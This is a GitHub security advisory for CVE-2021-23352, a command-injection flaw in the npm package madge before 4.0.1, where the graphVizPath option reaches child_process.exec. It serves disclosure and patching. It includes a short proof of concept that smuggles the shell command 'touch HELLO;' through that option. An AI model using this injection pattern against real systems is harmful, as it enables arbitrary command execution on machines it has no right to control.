Skip to content

Madge vulnerable to command injection

High severity GitHub Reviewed Published Mar 12, 2021 to the GitHub Advisory Database • Updated Sep 6, 2023

Package

npm madge (npm)

Affected versions

< 4.0.1

Patched versions

4.0.1

Description

This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.

PoC

const madge = require('madge'); 
madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); });

References

Published by the National Vulnerability Database Mar 9, 2021
Reviewed Mar 12, 2021
Published to the GitHub Advisory Database Mar 12, 2021
Last updated Sep 6, 2023

Severity

High

EPSS score

0.432%
(75th percentile)

CVE ID

CVE-2021-23352

GHSA ID

GHSA-753c-phhg-cj29

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.